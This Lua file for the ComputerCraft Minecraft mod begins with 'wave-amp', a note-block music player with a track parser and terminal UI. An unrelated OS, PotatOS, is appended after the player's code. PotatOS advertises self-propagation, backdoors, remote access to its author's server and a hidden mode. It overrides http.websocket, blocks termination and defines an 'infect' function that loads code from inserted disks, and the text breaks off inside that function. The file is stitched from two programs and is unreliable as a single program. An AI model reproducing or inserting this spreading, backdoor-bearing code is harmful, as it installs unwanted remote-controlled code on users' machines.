--[[
wave-amp version 1.0.0

The MIT License (MIT)
Copyright (c) 2016 CrazedProgrammer

Permission is hereby granted, free of charge, to any person obtaining a copy of this software and
associated documentation files (the "Software"), to deal in the Software without restriction,
including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense,
and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do
so, subject to the following conditions:

The above copyright notice and this permission notice shall be included in all copies or
substantial portions of the Software.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED,
INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A
PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR
COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN
AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
]]

--[[
wave version 0.1.4

The MIT License (MIT)
Copyright (c) 2016 CrazedProgrammer

Permission is hereby granted, free of charge, to any person obtaining a copy of this software and
associated documentation files (the "Software"), to deal in the Software without restriction,
including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense,
and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do
so, subject to the following conditions:

The above copyright notice and this permission notice shall be included in all copies or
substantial portions of the Software.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED,
INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A
PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR
COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN
AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
]]

local wave = { }
wave.version = "0.1.4"

wave._oldSoundMap = {"harp", "bassattack", "bd", "snare", "hat"}
wave._newSoundMap = {"harp", "bass", "basedrum", "snare", "hat"}
wave._defaultThrottle = 99
wave._defaultClipMode = 1
wave._maxInterval = 1
wave._isNewSystem = false
if _HOST then
	wave._isNewSystem = _HOST:sub(15, #_HOST) >= "1.80"
end

wave.context = { }
wave.output = { }
wave.track = { }
wave.instance = { }

function wave.createContext(clock, volume)
	clock = clock or os.clock()
	volume = volume or 1.0

	local context = setmetatable({ }, {__index = wave.context})
	context.outputs = { }
	context.instances = { }
	context.vs = {0, 0, 0, 0, 0}
	context.prevClock = clock
	context.volume = volume
	return context
end

function wave.context:addOutput(...)
	local output = wave.createOutput(...)
	self.outputs[#self.outputs + 1] = output
	return output
end

function wave.context:addOutputs(...)
	local outs = {...}
	if #outs == 1 then
		if not getmetatable(outs) then
			outs = outs[1]
		else
			if getmetatable(outs).__index ~= wave.outputs then
				outs = outs[1]
			end
		end
	end
	for i = 1, #outs do
		self:addOutput(outs[i])
	end
end

function wave.context:removeOutput(out)
	if type(out) == "number" then
		table.remove(self.outputs, out)
		return
	elseif type(out) == "table" then
		if getmetatable(out).__index == wave.output then
			for i = 1, #self.outputs do
				if out == self.outputs[i] then
					table.remove(self.outputs, i)
					return
				end
			end
			return
		end
	end
	for i = 1, #self.outputs do
		if out == self.outputs[i].native then
			table.remove(self.outputs, i)
			return
		end
	end
end

function wave.context:addInstance(...)
	local instance = wave.createInstance(...)
	self.instances[#self.instances + 1] = instance
	return instance
end

function wave.context:removeInstance(instance)
	if type(instance) == "number" then
		table.remove(self.instances, instance)
	else
		for i = 1, #self.instances do
			if self.instances == instance then
				table.remove(self.instances, i)
				return
			end
		end
	end
end

function wave.context:playNote(note, pitch, volume)
	volume = volume or 1.0

	self.vs[note] = self.vs[note] + volume
	for i = 1, #self.outputs do
		self.outputs[i]:playNote(note, pitch, volume * self.volume)
	end
end

function wave.context:update(interval)
	local clock = os.clock()
	interval = interval or (clock - self.prevClock)

	self.prevClock = clock
	if interval > wave._maxInterval then
		interval = wave._maxInterval
	end
	for i = 1, #self.outputs do
		self.outputs[i].notes = 0
	end
	for i = 1, 5 do
		self.vs[i] = 0
	end
	if interval > 0 then
		for i = 1, #self.instances do
			local notes = self.instances[i]:update(interval)
			for j = 1, #notes / 3 do
				self:playNote(notes[j * 3 - 2], notes[j * 3 - 1], notes[j * 3])
			end
		end
	end
end



function wave.createOutput(out, volume, filter, throttle, clipMode)
	volume = volume or 1.0
	filter = filter or {true, true, true, true, true}
	throttle = throttle or wave._defaultThrottle
	clipMode = clipMode or wave._defaultClipMode

	local output = setmetatable({ }, {__index = wave.output})
	output.native = out
	output.volume = volume
	output.filter = filter
	output.notes = 0
	output.throttle = throttle
	output.clipMode = clipMode
	if type(out) == "function" then
		output.nativePlayNote = out
		output.type = "custom"
		return output
	elseif type(out) == "string" then
		if peripheral.getType(out) == "iron_noteblock" then
			if wave._isNewSystem then
				local nb = peripheral.wrap(out)
				output.type = "iron_noteblock"
				function output.nativePlayNote(note, pitch, volume)
					if output.volume * volume > 0 then
						nb.playSound("minecraft:block.note."..wave._newSoundMap[note], volume, math.pow(2, (pitch - 12) / 12))
					end
				end
				return output
			end
		end
	elseif type(out) == "table" then
		if out.execAsync then
			output.type = "commands"
			if wave._isNewSystem then
				function output.nativePlayNote(note, pitch, volume)
					out.execAsync("playsound minecraft:block.note."..wave._newSoundMap[note].." record @a ~ ~ ~ "..tostring(volume).." "..tostring(math.pow(2, (pitch - 12) / 12)))
				end
			else
				function output.nativePlayNote(note, pitch, volume)
					out.execAsync("playsound note."..wave._oldSoundMap[note].." @a ~ ~ ~ "..tostring(volume).." "..tostring(math.pow(2, (pitch - 12) / 12)))
				end
			end
			return output
		elseif getmetatable(out) then
			if getmetatable(out).__index == wave.output then
				return out
			end
		end
	end
end

function wave.scanOutputs()
	local outs = { }
	if commands then
		outs[#outs + 1] = wave.createOutput(commands)
	end
	local sides = peripheral.getNames()
	for i = 1, #sides do
		if peripheral.getType(sides[i]) == "iron_noteblock" then
			outs[#outs + 1] = wave.createOutput(sides[i])
		end
	end
	return outs
end

function wave.output:playNote(note, pitch, volume)
	volume = volume or 1.0

	if self.clipMode == 1 then
		if pitch < 0 then
			pitch = 0
		elseif pitch > 24 then
			pitch = 24
		end
	elseif self.clipMode == 2 then
		if pitch < 0 then
			while pitch < 0 do
				pitch = pitch + 12
			end
		elseif pitch > 24 then
			while pitch > 24 do
				pitch = pitch - 12
			end
		end
	end
	if self.filter[note] and self.notes < self.throttle then
		self.nativePlayNote(note, pitch, volume * self.volume)
		self.notes = self.notes + 1
	end
end



function wave.loadTrack(path)
	local track = setmetatable({ }, {__index = wave.track})
	local handle = fs.open(path, "rb")
	if not handle then return end

	local function readInt(size)
		local num = 0
		for i = 0, size - 1 do
			local byte = handle.read()
			if not byte then -- dont leave open file handles no matter what
				handle.close()
				return
			end
			num = num + byte * (256 ^ i)
		end
		return num
	end
	local function readStr()
		local length = readInt(4)
		if not length then return end
		local data = { }
		for i = 1, length do
			data[i] = string.char(handle.read())
		end
		return table.concat(data)
	end

	-- Part #1: Metadata
	track.length = readInt(2) -- song length (ticks)
	track.height = readInt(2) -- song height
	track.name = readStr() -- song name
	track.author = readStr() -- song author
	track.originalAuthor = readStr() -- original song author
	track.description = readStr() -- song description
	track.tempo = readInt(2) / 100 -- tempo (ticks per second)
	track.autoSaving = readInt(1) == 0 and true or false -- auto-saving
	track.autoSavingDuration = readInt(1) -- auto-saving duration
	track.timeSignature = readInt(1) -- time signature (3 = 3/4)
	track.minutesSpent = readInt(4) -- minutes spent
	track.leftClicks = readInt(4) -- left clicks
	track.rightClicks = readInt(4) -- right clicks
	track.blocksAdded = readInt(4) -- blocks added
	track.blocksRemoved = readInt(4) -- blocks removed
	track.schematicFileName = readStr() -- midi/schematic file name

	-- Part #2: Notes
	track.layers = { }
	for i = 1, track.height do
		track.layers[i] = {name = "Layer "..i, volume = 1.0}
		track.layers[i].notes = { }
	end

	local tick = 0
	while true do
		local tickJumps = readInt(2)
		if tickJumps == 0 then break end
		tick = tick + tickJumps
		local layer = 0
		while true do
			local layerJumps = readInt(2)
			if layerJumps == 0 then break end
			layer = layer + layerJumps
			if layer > track.height then -- nbs can be buggy
				for i = track.height + 1, layer do
					track.layers[i] = {name = "Layer "..i, volume = 1.0}
					track.layers[i].notes = { }
				end
				track.height = layer
			end
			local instrument = readInt(1)
			local key = readInt(1)
			if instrument <= 4 then -- nbs can be buggy
				track.layers[layer].notes[tick * 2 - 1] = instrument + 1
				track.layers[layer].notes[tick * 2] = key - 33
			end
		end
	end

	-- Part #3: Layers
	for i = 1, track.height do
		local name = readStr()
		if not name then break end -- if layer data doesnt exist, abort
		track.layers[i].name = name
		track.layers[i].volume = readInt(1) / 100
	end

	handle.close()
	return track
end



function wave.createInstance(track, volume, playing, loop)
	volume = volume or 1.0
	playing = (playing == nil) or playing
	loop = (loop ~=  nil) and loop

	if getmetatable(track).__index == wave.instance then
		return track
	end
	local instance = setmetatable({ }, {__index = wave.instance})
	instance.track = track
	instance.volume = volume or 1.0
	instance.playing = playing
	instance.loop = loop
	instance.tick = 1
	return instance
end

function wave.instance:update(interval)
	local notes = { }
	if self.playing then
		local dticks = interval * self.track.tempo
		local starttick = self.tick
		local endtick = starttick + dticks
		local istarttick = math.ceil(starttick)
		local iendtick = math.ceil(endtick) - 1
		for i = istarttick, iendtick do
			for j = 1, self.track.height do
				if self.track.layers[j].notes[i * 2 - 1] then
					notes[#notes + 1] = self.track.layers[j].notes[i * 2 - 1]
					notes[#notes + 1] = self.track.layers[j].notes[i * 2]
					notes[#notes + 1] = self.track.layers[j].volume
				end
			end
		end
		self.tick = self.tick + dticks

		if endtick > self.track.length then
			self.tick = 1
			self.playing = self.loop
		end
	end
	return notes
end



local cmdHelp = [[
-l                   lists all outputs connected to the computer.
-c <config file>     loads the parameters from a file.
parameters are separated by newlines.
-t <theme file>      loads the theme from a file.
-f <filter[:second]> sets the note filter for the outputs.
examples:
 -f 10111            sets the filter for all outputs to remove the bass instrument.
 -f 10011:01100      sets the filter so the bass and basedrum instruments only come out of the second output
-v <volume[:second]> sets the volume for the outputs.
--nrm --stp --rep --shf   sets the play mode.
--noui --noinput     disables the ui/keyboard input]]


local trackMode = 1
-- 1 = normal (go to next song on finish)
-- 2 = stop (stop on finish)
-- 3 = repeat (restart song on finish)
-- 4 = shuffle (go to random song on finish)

local files = { }
local tracks = { }
local context, track, instance

-- ui stuff
local noUI = false
local noInput = false
local screenWidth, screenHeight = term.getSize()
local trackScroll = 0
local currentTrack = 1
local vsEasings = {0, 0, 0, 0, 0}
local vsStep = 5
local vsDecline = 0.25

-- theme
local theme = term.isColor() and
{
	topBar = colors.lime,
	topBarTitle = colors.white,
	topBarOption = colors.white,
	topBarOptionSelected = colors.lightGray,
	topBarClose = colors.white,
	song = colors.black,
	songBackground = colors.white,
	songSelected = colors.black,
	songSelectedBackground = colors.lightGray,
	scrollBackground = colors.lightGray,
	scrollBar = colors.gray,
	scrollButton = colors.black,
	visualiserBar = colors.lime,
	visualiserBackground = colors.green,
	progressTime = colors.white,
	progressBackground = colors.lightGray,
	progressLine = colors.gray,
	progressNub = colors.gray,
	progressNubBackground = colors.gray,
	progressNubChar = "=",
	progressButton = colors.white
}
or
{
	topBar = colors.lightGray,
	topBarTitle = colors.white,
	topBarOption = colors.white,
	topBarOptionSelected = colors.gray,
	topBarClose = colors.white,
	song = colors.black,
	songBackground = colors.white,
	songSelected = colors.black,
	songSelectedBackground = colors.lightGray,
	scrollBackground = colors.lightGray,
	scrollBar = colors.gray,
	scrollButton = colors.black,
	visualiserBar = colors.black,
	visualiserBackground = colors.gray,
	progressTime = colors.white,
	progressBackground = colors.lightGray,
	progressLine = colors.gray,
	progressNub = colors.gray,
	progressNubBackground = colors.gray,
	progressNubChar = "=",
	progressButton = colors.white
}

local running = true



local function addFiles(path)
	local dirstack = {path}
	while #dirstack > 0 do
		local dir = dirstack[1]
		table.remove(dirstack, 1)
		if dir ~= "rom" then
			for _, v in pairs(fs.list(dir)) do
				local path = (dir == "") and v or dir.."/"..v
				if fs.isDir(path) then
					dirstack[#dirstack + 1] = path
				elseif path:sub(#path - 3, #path) == ".nbs" then
					files[#files + 1] = path
				end
			end
		end
	end
end

local function init(args)
	local volumes = { }
	local filters = { }
	local outputs = wave.scanOutputs()
	local timestamp = 0

	if #outputs == 0 then
		error("no outputs found")
	end

	local i, argtype = 1
	while i <= #args do
		if not argtype then
			if args[i] == "-h" then
				print(cmdHelp)
				noUI = true
				running = false
				return
			elseif args[i] == "-c" or args[i] == "-v" or args[i] == "-f" or args[i] == "-t" then
				argtype = args[i]
			elseif args[i] == "-l" then
				print(#outputs.." outputs detected:")
				for i = 1, #outputs do
					print(i..":", outputs[i].type, type(outputs[i].native) == "string" and outputs[i].native or "")
				end
				noUI = true
				running = false
				return
			elseif args[i] == "--noui" then
				noUI = true
			elseif args[i] == "--noinput" then
				noInput = true
			elseif args[i] == "--nrm" then
				trackMode = 1
			elseif args[i] == "--stp" then
				trackMode = 2
			elseif args[i] == "--rep" then
				trackMode = 3
			elseif args[i] == "--shf" then
				trackMode = 4
			else
				local path = shell.resolve(args[i])
				if fs.isDir(path) then
					addFiles(path)
				elseif fs.exists(path) then
					files[#files + 1] = path
				end
			end
		else
			if argtype == "-c" then
				local path = shell.resolve(args[i])
				local handle = fs.open(path, "r")
				if not handle then
					error("config file does not exist: "..path)
				end
				local line = handle.readLine()
				while line do
					args[#args + 1] = line
					line = handle.readLine()
				end
				handle.close()
			elseif argtype == "-t" then
				local path = shell.resolve(args[i])
				local handle = fs.open(path, "r")
				if not handle then
					error("theme file does not exist: "..path)
				end
				local data = handle.readAll()
				handle.close()
				for k, v in pairs(colors) do
					data = data:gsub("colors."..k, tostring(v))
				end
				for k, v in pairs(colours) do
					data = data:gsub("colours."..k, tostring(v))
				end
				local newtheme = textutils.unserialize(data)
				for k, v in pairs(newtheme) do
					theme[k] = v
				end
			elseif argtype == "-v" then
				for str in args[i]:gmatch("([^:]+)") do
					local vol = tonumber(str)
					if vol then
						if vol >= 0 and vol <= 1 then
							volumes[#volumes + 1] = vol
						else
							error("invalid volume value: "..str)
						end
					else
						error("invalid volume value: "..str)
					end
				end
			elseif argtype == "-f" then
				for str in args[i]:gmatch("([^:]+)") do
					if #str == 5 then
						local filter = { }
						for i = 1, 5 do
							if str:sub(i, i) == "1" then
								filter[i] = true
							elseif str:sub(i, i) == "0" then
								filter[i] = false
							else
								error("invalid filter value: "..str)
							end
						end
						filters[#filters + 1] = filter
					else
						error("invalid filter value: "..str)
					end
				end
			end
			argtype = nil
		end
		i = i + 1
	end

	if #files == 0 then
		addFiles("")
	end

	i = 1
	print("loading tracks...")
	while i <= #files do
		local track
		pcall(function () track = wave.loadTrack(files[i]) end)
		if not track then
			print("failed to load "..files[i])
			os.sleep(0.2)
			table.remove(files, i)
		else
			tracks[i] = track
			print("loaded "..files[i])
			i = i + 1
		end
		if i % 10 == 0 then
			os.sleep(0)
		end
	end
	if #files == 0 then
		error("no tracks found")
	end

	if #volumes == 0 then
		volumes[1] = 1
	end
	if #filters == 0 then
		filters[1] = {true, true, true, true, true}
	end
	if #volumes == 1 then
		for i = 2, #outputs do
			volumes[i] = volumes[1]
		end
	end
	if #filters == 1 then
		for i = 2, #outputs do
			filters[i] = filters[1]
		end
	end
	if #volumes ~= #outputs then
		error("invalid amount of volume values: "..#volumes.." (must be 1 or "..#outputs..")")
	end
	if #filters ~= #outputs then
		error("invalid amount of filter values: "..#filters.." (must be 1 or "..#outputs..")")
	end

	for i = 1, #outputs do
		outputs[i].volume = volumes[i]
		outputs[i].filter = filters[i]
	end

	context = wave.createContext()
	context:addOutputs(outputs)
end




local function formatTime(secs)
	local mins = math.floor(secs / 60)
	secs = secs - mins * 60
	return string.format("%01d:%02d", mins, secs)
end

local function drawStatic()
	if noUI then return end
	term.setCursorPos(1, 1)
	term.setBackgroundColor(theme.topBar)
	term.setTextColor(theme.topBarTitle)
	term.write("wave-amp")
	term.write((" "):rep(screenWidth - 25))
	term.setTextColor(trackMode == 1 and theme.topBarOptionSelected or theme.topBarOption)
	term.write("nrm ")
	term.setTextColor(trackMode == 2 and theme.topBarOptionSelected or theme.topBarOption)
	term.write("stp ")
	term.setTextColor(trackMode == 3 and theme.topBarOptionSelected or theme.topBarOption)
	term.write("rep ")
	term.setTextColor(trackMode == 4 and theme.topBarOptionSelected or theme.topBarOption)
	term.write("shf ")
	term.setTextColor(theme.topBarClose)
	term.write("X")

	local scrollnub = math.floor(trackScroll / (#tracks - screenHeight + 7) * (screenHeight - 10) + 0.5)

	term.setTextColor(theme.song)
	term.setBackgroundColor(theme.songBackground)
	for i = 1, screenHeight - 7 do
		local index = i + trackScroll
		term.setCursorPos(1, i + 1)
		term.setTextColor(index == currentTrack and theme.songSelected or theme.song)
		term.setBackgroundColor(index == currentTrack and theme.songSelectedBackground or theme.songBackground)
		local str = ""
		if tracks[index] then
			local track = tracks[index]
			str = formatTime(track.length / track.tempo).." "
			if #track.name > 0 then
				str = str..(#track.originalAuthor == 0 and track.author or track.originalAuthor).." - "..track.name
			else
				local name = fs.getName(files[index])
				str = str..name:sub(1, #name - 4)
			end
		end
		if #str > screenWidth - 1 then
			str = str:sub(1, screenWidth - 3)..".."
		end
		term.write(str)
		term.write((" "):rep(screenWidth - 1 - #str))
		term.setBackgroundColor((i >= scrollnub + 1 and i <= scrollnub + 3) and theme.scrollBar or theme.scrollBackground)
		if i == 1 then
			term.setTextColor(theme.scrollButton)
			term.write(_HOST and "\30" or "^")
		elseif i == screenHeight - 7 then
			term.setTextColor(theme.scrollButton)
			term.write(_HOST and "\31" or "v")
		else
			term.write(" ")
		end
	end
end

local function drawDynamic()
	if noUI then return end
	for i = 1, 5 do
		vsEasings[i] = vsEasings[i] - vsDecline
		if vsEasings[i] < 0 then
			vsEasings[i] = 0
		end
		local part = context.vs[i] > vsStep and vsStep or context.vs[i]
		if vsEasings[i] < part then
			vsEasings[i] = part
		end
		local full = math.floor(part / vsStep * screenWidth + 0.5)
		local easing = math.floor(vsEasings[i] / vsStep * screenWidth + 0.5)
		term.setCursorPos(1, screenHeight - 6 + i)
		term.setBackgroundColor(theme.visualiserBar)
		term.setTextColor(theme.visualiserBackground)
		term.write((" "):rep(full))
		term.write((_HOST and "\127" or "#"):rep(math.floor((easing - full) / 2)))
		term.setBackgroundColor(theme.visualiserBackground)
		term.setTextColor(theme.visualiserBar)
		term.write((_HOST and "\127" or "#"):rep(math.ceil((easing - full) / 2)))
		term.write((" "):rep(screenWidth - easing))
	end

	local progressnub = math.floor((instance.tick / track.length) * (screenWidth - 14) + 0.5)

	term.setCursorPos(1, screenHeight)
	term.setTextColor(theme.progressTime)
	term.setBackgroundColor(theme.progressBackground)
	term.write(formatTime(instance.tick / track.tempo))

	term.setTextColor(theme.progressLine)
	term.write("\136")
	term.write(("\140"):rep(progressnub))
	term.setTextColor(theme.progressNub)
	term.setBackgroundColor(theme.progressNubBackground)
	term.write(theme.progressNubChar)
	term.setTextColor(theme.progressLine)
	term.setBackgroundColor(theme.progressBackground)
	term.write(("\140"):rep(screenWidth - 14 - progressnub))
	term.write("\132")

	term.setTextColor(theme.progressTime)
	term.write(formatTime(track.length / track.tempo).." ")
	term.setTextColor(theme.progressButton)
	term.write(instance.playing and (_HOST and "|\016" or "|>") or "||")
end

local function playSong(index)
	if index >= 1 and index <= #tracks then
		currentTrack = index
		track = tracks[currentTrack]
		context:removeInstance(1)
		instance = context:addInstance(track, 1, trackMode ~= 2, trackMode == 3)
		if currentTrack <= trackScroll then
			trackScroll = currentTrack - 1
		end
		if currentTrack > trackScroll + screenHeight - 7 then
			trackScroll = currentTrack - screenHeight + 7
		end
		drawStatic()
	end
end

local function nextSong()
	if trackMode == 1 then
		playSong(currentTrack + 1)
	elseif trackMode == 4 then
		playSong(math.random(#tracks))
	end
end

local function setScroll(scroll)
	trackScroll = scroll
	if trackScroll > #tracks - screenHeight + 7 then
		trackScroll = #tracks - screenHeight + 7
	end
	if trackScroll < 0 then
		trackScroll = 0
	end
	drawStatic()
end

local function handleClick(x, y)
	if noUI then return end
	if y == 1 then
		if x == screenWidth then
			running = false
		elseif x >= screenWidth - 16 and x <= screenWidth - 2 and (x - screenWidth + 1) % 4 ~= 0 then
			trackMode = math.floor((x - screenWidth + 16) / 4) + 1
			instance.loop = trackMode == 3
			drawStatic()
		end
	elseif x < screenWidth and y >= 2 and y <= screenHeight - 6 then
		playSong(y - 1 + trackScroll)
	elseif x == screenWidth and y == 2 then
		setScroll(trackScroll - 2)
	elseif x == screenWidth and y == screenHeight - 6 then
		setScroll(trackScroll + 2)
	elseif x == screenWidth and y >= 3 and y <= screenHeight - 7 then
		setScroll(math.floor((y - 3) / (screenHeight - 10) * (#tracks - screenHeight + 7 ) + 0.5))
	elseif y == screenHeight then
		if x >= screenWidth - 1 and x <= screenWidth then
			instance.playing = not instance.playing
		elseif x >= 6 and x <= screenWidth - 8 then
			instance.tick = ((x - 6) / (screenWidth - 14)) * track.length
		end
	end
end

local function handleScroll(x, y, scroll)
	if noUI then return end
	if y >= 2 and y <= screenHeight - 6 then
		setScroll(trackScroll + scroll * 2)
	end
end

local function handleKey(key)
	if noInput then return end
	if key == keys.space then
		instance.playing = not instance.playing
	elseif key == keys.n then
		nextSong()
	elseif key == keys.p then
		playSong(currentTrack - 1)
	elseif key == keys.m then
		context.volume = (context.volume == 0) and 1 or 0
	elseif key == keys.left then
		instance.tick = instance.tick - track.tempo * 10
		if instance.tick < 1 then
			instance.tick = 1
		end
	elseif key == keys.right then
		instance.tick = instance.tick + track.tempo * 10
	elseif key == keys.up then
		context.volume = (context.volume == 1) and 1 or context.volume + 0.1
	elseif key == keys.down then
		context.volume = (context.volume == 0) and 0 or context.volume - 0.1
	elseif key == keys.j then
		setScroll(trackScroll + 2)
	elseif key == keys.k then
		setScroll(trackScroll - 2)
	elseif key == keys.pageUp then
		setScroll(trackScroll - 5)
	elseif key == keys.pageDown then
		setScroll(trackScroll + 5)
	elseif key == keys.leftShift then
		trackMode = trackMode % 4 + 1
		drawStatic()
	elseif key == keys.backspace then
		running = false
	end
end

local function run()
	playSong(1)
	drawStatic()
	drawDynamic()
	local timer = os.startTimer(0.05)
	while running do
		local e = {os.pullEventRaw()}
		if e[1] == "timer" and e[2] == timer then
			timer = os.startTimer(0)
			local prevtick = instance.tick
			context:update()
			if prevtick > 1 and instance.tick == 1 then
				nextSong()
			end
			drawDynamic()
		elseif e[1] == "terminate" then
			running = false
		elseif e[1] == "term_resize" then
			screenWidth, screenHeight = term.getSize()
		elseif e[1] == "mouse_click" then
			handleClick(e[3], e[4])
		elseif e[1] == "mouse_scroll" then
			handleScroll(e[3], e[4], e[2])
		elseif e[1] == "key" then
			handleKey(e[2])
		end
	end
end

local function exit()
	if noUI then return end
	term.setBackgroundColor(colors.black)
	term.setTextColor(colors.white)
	term.setCursorPos(1, 1)
	term.clear()
end

--[[
PotatOS OS/Conveniently Self-Propagating System/Sandbox/Compilation of Useless Programs

We are not responsible for
- headaches
- rashes
- persistent/non-persistent coughs
- scalp psoriasis
- seborrhoeic dermatitis
- virii/viros/virorum/viriis
- backdoors
- lack of backdoors
- actually writing documentation
- this project's horrible code
- spinal cord sclerosis
- hypertension
- cardiac arrest
- regular arrest, by police or whatever
- angry mobs with or without pitchforks
- fourteenth plane politics
- Nvidia's Linux drivers
- death
- catsplosions
- unicorn instability
- the Problem of Evil
- computronic discombobulation
- loss of data
- gain of data
- frogs
or any other issue caused directly or indirectly due to use of this product.

Best viewed in Internet Explorer 6.00000000000004 running on a Difference Engine emulated under MacOS 7 on a Pentium 3.

Features:
- Fortunes/Dwarf Fortress output/Chuck Norris jokes on boot (wait, IS this a feature?)
- (other) viruses (how do you get them in the first place? running random files like this?) cannot do anything particularly awful to your computer - uninterceptable (except by crashing the keyboard shortcut daemon, I guess) keyboard shortcuts allow easy wiping of the non-potatOS data so you can get back to whatever nonsense you do fast
- Skynet (rednet-ish stuff over websocket to my server) and Lolcrypt (encoding data as lols and punctuation) built in for easy access!
- Convenient OS-y APIs - add keyboard shortcuts, spawn background processes & do "multithreading"-ish stuff.
- Great features for other idio- OS designers, like passwords and fake loading (est potatOS.stupidity.loading [time], est potatOS.stupidity.password [password]).
- Digits of Tau available via a convenient command ("tau")
- Potatoplex and Loading built in ("potatoplex"/"loading") (potatoplex has many undocumented options)!
- Stack traces (yes, I did steal them from MBS)
- Backdoors- er, remote debugging access (it's secured, via ECC signing on disks and websocket-only access requiring a key for the other one)
- All this useless random junk can autoupdate (this is probably a backdoor)!
- EZCopy allows you to easily install potatOS on another device, just by sticking it in the disk drive of any potatOS device!
- fs.load and fs.dump - probably helpful somehow.
- Blocks bad programs (like the "Webicity" browser).
- Fully-featured process manager.
- Can run in "hidden mode" where it's at least not obvious at a glance that potatOS is installed.
- Convenient, simple uninstall with the "uninstall" command.
- Turns on any networked potatOS computers!
- Edits connected signs to use as ad displays.
- A recycle bin.
- An exorcise command, which is like delete but better.
- Support for a wide variety of Lorem Ipsum.

Copyright 2019 osmarks/gollark

Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:

The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.

I also request that you inform me of software based on or using code from potatOS, though this is not required.

This license also extends to other PotatOS components or bundled software owned by me.
]]

local randomseed = math.random(-0xdead, 0xc0de)

local version = "TuberOS"

term.clear()
term.setCursorBlink(false)

-- Utility functions and stuff

-- Because we're COOL PEOPLE who open LOTS OF WEBSOCKETS, and don't want them to conflict, globally meddle with it for no good reason.
local httpwebsocket = http.websocket
local socket_cache = {}
function http.websocket(URL)
	if socket_cache[URL] then return socket_cache[URL]
	else
		socket_cache[URL] = httpwebsocket(URL)
		return socket_cache[URL]
	end
end

-- Squid has told me of `debug.getregistry`, so I decided to implement it.
local debug_registry_mt = {}
local debug_registry = setmetatable({}, debug_registry_mt)

if debug then
	function debug.getregistry()
		return debug_registry
	end
end

-- Converts a hex-format signature to a nonhex one
local function unhexize(key)
    local out = {}
    for i = 1, #key, 2 do
        local pair = key:sub(i, i + 1)
        table.insert(out, tonumber(pair, 16))
    end
    return out
end

-- Checks if a number is prime. You would never guess it did that. You should thank me for being so helpful.
function _G.isprime(n)
        for i = 2, math.sqrt(n) do
                if n % i == 0 then return false end
        end
        return true
end

-- Finds the first prime number after "from". Look at that really complex code.
function _G.findprime(from)
        local i = from
        while true do
                if isprime(i) then return i end
                i = i + 1
        end
end

-- Copies a table. Deals with recursive tables by just copying the reference, which is possibly a bad idea. It's probably your own fault if you give it one.
local function copy(tabl)
	local new = {}
	for k, v in pairs(tabl) do
	    if type(v) == "table" and v ~= tabl then
	        new[k] = copy(v)
	    else
	        new[k] = v
	    end
	end
	return new
end

-- Generates "len" random bytes (why no unicode, dan200?!)
local function randbytes(len)
	local out = ""
	for i = 1, len do
	    out = out .. string.char(math.random(0, 255))
	end
	return out
end

-- Write "c" to file "n"
local function fwrite(n, c)
	local f = fs.open(n, "w")
	f.write(c)
	f.close()
end

-- Read file "n"
local function fread(n)
	local f = fs.open(n, "r")
	local out = f.readAll()
	f.close()
	return out
end

-- Set key in .settings
local function set(k, v)
	settings.set(k, v)
	settings.save(".settings")
end

-- Copy the out-of-sandbox environment, for some reason. No, I don't know why _ENV or _G directly wouldn't work. I can't ask my past self.
local external_env = copy(_G)
if not external_env.shell then external_env.shell = shell end
-- Block termination. Maybe?!
external_env.os.pullEvent = external_env.os.pullEventRaw

-- Checks that "sig" is a valid signature for "data" (i.e. signed with the potatOS master key). Used for disk and formerly tape verification.
local function verify(data, sig)
	local pkey = textutils.unserialise(fread ".pkey")
	local ecc = require "./ecc"
	local e = ecc "ecc"
	local ok, res = pcall(e.verify, pkey, data, sig)
	print("ERR:", not ok, "\nRES:", res)
	return ok and res
end

-- Infect other disks and/or load backdoor programs off them.
local function infect(disk_side)
	local mp = disk.getMountPath(disk_side)
	if not mp then return end
	local ds = fs.combine(mp, "startup") -- Find paths to startup and signature files
	local disk_ID = disk.getID(disk_side)
	local sig_file = fs.combine(mp, "signature")
	-- shell.run disks marked with the Brand of PotatOS
	-- except not actually, it's cool and uses load now

	if fs.exists(ds) and fs.exists(sig_file) then
		local code = fread(ds)
		local sig_raw = fread(sig_file)
		local sig
		if sig_raw:find "{" then sig = textutils.unserialise(sig_raw)
		else sig = unhexize(sig_raw) end
		disk.eject(disk_side)
		if verify(code, sig) then
			-- run code, but safely (via pcall)
			-- print output for debugging
			print "Signature Valid; PotatOS Disk Loading"
			local out, err = load(code, "@disk/startup", nil, external_env)
			if not out then printError(err)
			else
